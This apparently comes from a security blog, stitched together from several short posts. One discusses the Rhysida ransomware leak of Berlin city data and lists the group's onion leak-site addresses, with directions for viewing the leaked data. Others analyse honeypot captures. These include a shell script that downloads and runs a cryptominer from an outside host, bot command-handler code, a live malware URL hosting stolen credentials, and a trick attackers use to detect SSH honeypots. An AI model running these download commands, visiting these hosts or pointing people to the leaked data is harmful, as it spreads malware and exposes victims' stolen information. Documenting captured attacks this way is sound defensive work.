The “Berlin” hack, although quite prominent, is just a single event in a continuous stream of attacks by different groups against all kinds of targets — banks, schools, hospitals, cities, …
This is a real industry, moving huge amounts of money.
And no – BTC (Bitcoin) is not the problem. With Bitcoin, every transaction is recorded on the blockchain, which makes it possible to “follow the money”. By paying in FIAT (like Dollar, Euro..) those traces can be much harder to follow.
Recently it became known that the hacker group “Rhysida” infiltrated the Berlin internal network and downloaded some 5TB of data.
Rhysida demanded 30 BTC in exchange for deleting the stolen data – Berlin did not pay, so the data appeared on the darkweb. While there was a lot of talk in the news about this, the leaked data itself was not shown. So the public could not see what by then already publicly available data actually had been leaked. Since it sometimes is a bit tricky to find the right addresses on the darkweb I show you here the target:
If you download and use a TOR Browser , you can see for yourself at these addresses:
URL,Type,Status,Date,PageTitle
http://rhysidafc6lm7qa2mkiukbezh7zuth3i4wof4mh2audkymscjm6yegad.onion/,DLS,inactive,2026-09-05,Rhysida
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/,DLS,inactive,2026-09-05,Rhysida
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/archive.php,DLS,inactive,2026-09-05,
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/archive.php?auction,DLS,inactive,2026-09-05,
http://rhysidaeoxtkejwuheks3a7htk4zn3dfuynt5mqw6oawlcx6kcxjdeyd.onion,FS,inactive,2026-01-05,Onionsite Not Found
http://rhysidaiqemmlrvn2jvncdwhkvuiv7s2iu342xnrpeynxoe6r2dtjfyd.onion,FS,inactive,2026-01-06,Onionsite Not Found
http://rhysidaqho36b6i6mvpmy5di4ro5zglovtxixrirky6q3fgack7q5uyd.onion,FS,inactive,2026-09-05,Onionsite Not Found
Sometimes they are reachable, sometimes not..
(Btw: the hacker group also claims to have hacked “Stuttgart”, another major city in germany. The data itself show “only” a hack of a housing company “GVV”)
On the front page, you can see the group’s current auctions and victims. Berlin shows this info:
This exploit seems to work against “ZIMBRA” ; some CVE were published on 28.8.26 This attack here might be related to CVE-2026-73570, an unauthenticated command injection vulnerability via specially crafted SMTP requests which is currently being actively exploited. I have not verified that this particular attack actually uses CVE-2026-73570.
Another honeypot-entry catched my eye. First, the attack
itself was unusual because the malware download was executed
by a small python script instead of just running wget or curl:
uname -a
rm -f /tmp/run
if [ ` getconf LONG_BIT ` -eq 64 ]
then u=”http://www.bizqsoft.com/tp2/r6.log”
else u=”http://www.bizqsoft.com/tp2/r.log”
fi
wget -O /tmp/run
curl -o /tmp/run
python -c “import urllib;urllib.urlretrieve(‘$u’,’/tmp/run’)”
Looking into the downloaded binary one finds this miner for
the cryptocoin “sumokoin” using the “cryptonight” algorithm:
if data.has_key("download") and data["download"]:
DownExec(data["download"], task_id)
if data.has_key("cmd") and data["cmd"]:
CmdExec(data["cmd"], task_id)
Wonder what would happen if the computer name would be a beef-xss hook or something..?
My honeypots are sending out complaints on every single successful login.
Recently I saw the following logged entry in the complaint:
echo -en “\\x31\\x33\\x33\\x37”
cat /bin/ls
Now neither kippo nor cowrie as sshd-honeypots have the file “/bin/ls” which could be looked at, so a ‘cat /bin/ls’ just result in a :
‘cat: /bin/ls: No such file or directory’
So this seems to be an easy and reliable way to test for a standard sshd-honeypot..
No wonder that \\x31\\x33\\x33\\x37 just translates to “1337”, which I interpret as a smiley left by the hacker ..
Recently I wanted to check, if and what kind of webpages are available in a specific ip-address range. So I decided to scan the ips and make screenshots of the found services. Not as professional as archive.org or similar .. just a short look to get an idea. Problem was, that there was no tool which I just could fire up. So I started frickling some scripts ..
Step 1: scan the ip-range. I used nmap (what else) and logged the results in a file.
Needed some tries with wget until I had an acceptable result. Played around with “-p” and “-r -l 1” and “-E” and “-K” .. that one with just the -B worked best for me. So had the html-files.. but I wanted to have a quick look at them and did not want to start browsing local files. Therefore I transformed the html-files to pdf, and then (in the next step) I used convert to get png – files. (Did not find any html-to-png tools)
i.sh :
for i in `ls *pdf`
do
convert $i `basename -s .pdf $i`.png
done
(After that: copy the png-files to a place of your choice.., generate thumbnails..scroll around…)
There are some commcial vendors for services like this with much better quality (including zoomable thumbnails, galeries..you name it) but I wanted to have a quick’n dirty solution for free..
Though I am pretty sure that there are much better tools and hundred better solutions this worked for me.
recently I looked in some honeypot results – ending in finding of the URL
http://185.62.190.222/r1
(Warning: without the /r1 you are forced into a fake Adobe update).
Looking around further I found (besides some scanner-tools, code..) two files stage1 and stage2 under the subdir /r4 , containing about 7000 username:password:ip-address combinations. And yes, I found some of my honeypot addresses in there 🙂 Though I am pretty sure that most of the addresses will be honeypots I will try to send out mails to the appropriate abuse-contacts; maybe some of them are for real.